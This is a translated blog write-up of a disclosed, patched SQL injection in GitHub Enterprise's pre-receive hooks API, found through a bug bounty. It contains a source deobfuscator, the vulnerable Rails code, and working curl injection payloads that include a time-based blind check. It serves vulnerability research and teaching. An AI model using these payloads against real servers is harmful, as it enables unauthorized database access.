SQL injection in github enterprise
- Transfer

Hi Habr,
Below is the story of the author of Orange Tsai about how he purposefully looked for vulnerabilities in the corporate version of GitHub and eventually discovered the possibility of SQL injection. Here, on the hub, a translation of his other article “ How I hacked Facebook and discovered someone else’s backdoor ” was already published earlier .
Before the start
GitHub Enterprise is an enterprise version of GitHub.com designed to deploy the GitHub platform on a private development network. By visiting enterprise.github.com you can download a virtual machine (VM) with a free trial period of 45 days.
After installation, we will see:


Now, in my VM there is a complete GitHub ecosystem. It is so interesting that I wanted to take a closer look at VM: P.
Environment
The beginning of everything and everything is port scanning. After calling the useful Nmap utility , you can see that 6 ports are open in the VM.
$ nmap -sT -vv -p 1-65535 192.168.187.145
...
PORT STATE SERVICE
22/tcp open ssh
25/tcp closed smtp
80/tcp open http
122/tcp open smakynet
443/tcp open https
8080/tcp closed http-proxy
8443/tcp open https-alt
9418/tcp open gitAfter some analysis of the services, we can say that:
- 22 / tcp and 9418 / tcp are similar to haproxy and redirect connections to the babeld backend service .
- 80 / tcp and 443 / tcp are the main GitHub services.
- 122 / tcp - SSH service.
- 8443 / tcp - GitHub management console.
By the way, the GitHub management console requires a password to log in. If you have a password, you can add your SSH key and connect to the VM through 122 / tcp .
Using SSH connection to VM, we looked at the whole system and, most likely, the code base is in the / data / directory .
# ls -al /data/
total 92
drwxr-xr-x 23 root root 4096 Nov 29 12:54 .
drwxr-xr-x 27 root root 4096 Dec 28 19:18 ..
drwxr-xr-x 4 git git 4096 Nov 29 12:54 alambic
drwxr-xr-x 4 babeld babeld 4096 Nov 29 12:53 babeld
drwxr-xr-x 4 git git 4096 Nov 29 12:54 codeload
drwxr-xr-x 2 root root 4096 Nov 29 12:54 db
drwxr-xr-x 2 root root 4096 Nov 29 12:52 enterprise
drwxr-xr-x 4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage
drwxr-xr-x 4 git git 4096 Nov 29 12:54 failbotd
drwxr-xr-x 3 root root 4096 Nov 29 12:54 git-hooks
drwxr-xr-x 4 git git 4096 Nov 29 12:53 github
drwxr-xr-x 4 git git 4096 Nov 29 12:54 git-import
drwxr-xr-x 4 git git 4096 Nov 29 12:54 gitmon
drwxr-xr-x 4 git git 4096 Nov 29 12:54 gpgverify
drwxr-xr-x 4 git git 4096 Nov 29 12:54 hookshot
drwxr-xr-x 4 root root 4096 Nov 29 12:54 lariat
drwxr-xr-x 4 root root 4096 Nov 29 12:54 longpoll
drwxr-xr-x 4 git git 4096 Nov 29 12:54 mail-replies
drwxr-xr-x 4 git git 4096 Nov 29 12:54 pages
drwxr-xr-x 4 root root 4096 Nov 29 12:54 pages-lua
drwxr-xr-x 4 git git 4096 Nov 29 12:54 render
lrwxrwxrwx 1 root root 23 Nov 29 12:52 repositories -> /data/user/repositories
drwxr-xr-x 4 git git 4096 Nov 29 12:54 slumlord
drwxr-xr-x 20 root root 4096 Dec 28 19:22 userПерейдём в /data/ и попробуем посмотреть на исходники. Кажется, они закодированы :(

GitHub использует собственную библиотеку для обфускации исходного кода. Если поискать в Гугле «ruby_concealer.so», то найдёте доброго человека, написавшего сниппет для деобфускации.
Сниппет получается простой заменой в ruby_concealer.so вызовов rb_f_eval на rb_f_puts и это работает.
Но нельзя называться хакером, не поняв как именно это работает. Поэтому откроем IDA Pro!


Как можно заметить, тут используется Zlib::Inflate::inflate для распаковывания и операции XOR со следующим ключом:
This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken.
[перевод] Данная обфускация предназначена чтобы отбить желание пользователей GitHub Enterprise вносить изменения в VM. Мы знаем, что это "кодирование" легко ломается. Значит можно легко написать свой деобфускатор!
require 'zlib'
key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. "
def decrypt(s)
i, plaintext = 0, ''
Zlib::Inflate.inflate(s).each_byte do |c|
plaintext << (c ^ key[i%key.length].ord).chr
i += 1
end
plaintext
end
content = File.open(ARGV[0], "r").read
content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt "
plaintext = eval content
puts plaintextАнализ кода
После деобфускации можно наконец начать обозревать код.
$ cloc /data/
81267 text files.
47503 unique files.
24550 files ignored.
http://cloc.sourceforge.net v 1.60 T=348.06 s (103.5 files/s, 15548.9 lines/s)
-----------------------------------------------------------------------------------
Language files blank comment code
-----------------------------------------------------------------------------------
Ruby 25854 359545 437125 1838503
Javascript 4351 109994 105296 881416
YAML 600 1349 3214 289039
Python 1108 44862 64025 180400
XML 121 6492 3223 125556
C 444 30903 23966 123938
Bourne Shell 852 14490 16417 87477
HTML 636 24760 2001 82526
C++ 184 8370 8890 79139
C/C++ Header 428 11679 22773 72226
Java 198 6665 14303 45187
CSS 458 4641 3092 44813
Bourne Again Shell 142 6196 9006 35106
m4 21 3259 369 29433
...$ ./bin/rake about
About your application's environment
Ruby version 2.1.7 (x86_64-linux)
RubyGems version 2.2.5
Rack version 1.6.4
Rails version 3.2.22.4
JavaScript Runtime Node.js (V8)
Active Record version 3.2.22.4
Action Pack version 3.2.22.4
Action Mailer version 3.2.22.4
Active Support version 3.2.22.4
Middleware GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport
Application root /data/github/9fcdcc8
Environment production
Database adapter githubmysql2
Database schema version 20161003225024Most of the code is written in Ruby (Ruby on Rails and Sinatra).
- / data / github / Apparently there is an application that works with ports 80 / tcp , 443 / tcp and it looks like this is the same code base as on github.com, gist.github.com and api.github.com
- / data / render / apparently the code base render.githubusercontent.com
- / data / enterprise-manage / looks like an application that works with port 8443 / tcp
To find out if the application works in corporate mode, or in GitHub.com, does GitHub Enterprise use enterprise accordingly ? and dotcom? .
Vulnerability
It took me about one week to find this vulnerability. I am not familiar with Ruby, so I learned on the go, trying to write on it: P
So, roughly speaking, my week passed.
- Day 1 - Install VM
- Day 2 - Install VM
- Day 3 - Learning Rails Through Code Analysis
- Day 4 - Learning Rails Through Code Analysis
- Day 5 - Learning Rails Through Code Analysis
- Day 6 - And here I found the SQL injection!
SQL injection was found in the PreReceiveHookTarget model .
The main reason for the vulnerability lies in line No. 45 of the file /data/github/current/app/model/pre_receive_hook_target.rb .
33 scope :sorted_by, -> (order, direction = nil) {
34 direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"
35 select(<<-SQL)
36 #{table_name}.*,
37 CASE hookable_type
38 WHEN 'global' THEN 0
39 WHEN 'User' THEN 1
40 WHEN 'Repository' THEN 2
41 END AS priority
42 SQL
43 .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id")
44 .readonly(false)
45 .order([order, direction].join(" "))
46 }Although Rails has a built-in ORM (called ActiveRecord) that should protect against SQL injection, its naive use may pose a threat.
More examples are on Rails-sqli.org . I think it’s useful to know about SQL injection in Rails.
In this case, if we manage to change the parameter of the order method , we will be able to implement a malicious SQL query.
Ok now let's follow the challenges! sorted_by is called on line 61 of the file /data/github/current/app/api/org_pre_receive_hooks.rb .
10 get "/organizations/:organization_id/pre-receive-hooks" do
11 control_access :list_org_pre_receive_hooks, :org => org = find_org!
12 @documentation_url << "#list-pre-receive-hooks"
13 targets = PreReceiveHookTarget.visible_for_hookable(org)
14 targets = sort(targets).paginate(pagination)
15 GitHub::PrefillAssociations.for_pre_receive_hook_targets targets
16 deliver :pre_receive_org_target_hash, targets
17 end
...
60 def sort(scope)
61 scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc")
62 endNote that params [: sort] is passed to scope.sorted_by . So you can inject through params [: sort] .
Before using the vulnerability, you will need a valid access_token token with the admin: pre_receive_hook parameter to access the API. Fortunately, it can be obtained using the command:
$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \
-d '{"scopes":"admin:pre_receive_hook","note":"x"}'
{
"id": 4,
"url": "https://192.168.187.145/api/v3/authorizations/4",
"app": {
"name": "x",
"url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",
"client_id": "00000000000000000000"
},
"token": "????????",
"hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",
"token_last_eight": "1fadac36",
"note": "x",
"note_url": null,
"created_at": "2017-01-05T22:17:32Z",
"updated_at": "2017-01-05T22:17:32Z",
"scopes": [
"admin:pre_receive_hook"
],
"fingerprint": null
}After receiving the token, you can use the vulnerability like this:
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'
[
]
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'
{
"message": "Server Error",
"documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"
}
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user())
{
...
}
Chronology
- 12/26/2016 05:48 a Report on a vulnerability in GitHub through HackerOne.
- 12/26/2016 08:39 AM GitHub confirms the existence of the problem and works to resolve it.
- 12/26/2016 15:48 Report on the details of the vulnerability.
- 12/28/2016 02:44 AM GitHub replies that the vulnerability will be removed in the next version of GitHub Enterprise.
- 01/04/2017 06:41 GitHub offers a reward of $ 5,000.
- 01/05/2017 02:37 I ask whether it is possible to write about this on the blog.
- 01/05/2017 03:06 AM GitHub kindly allows you to talk about this.
- 01/05/2017 07:06 Release of GitHub Enterprise version 2.8.5!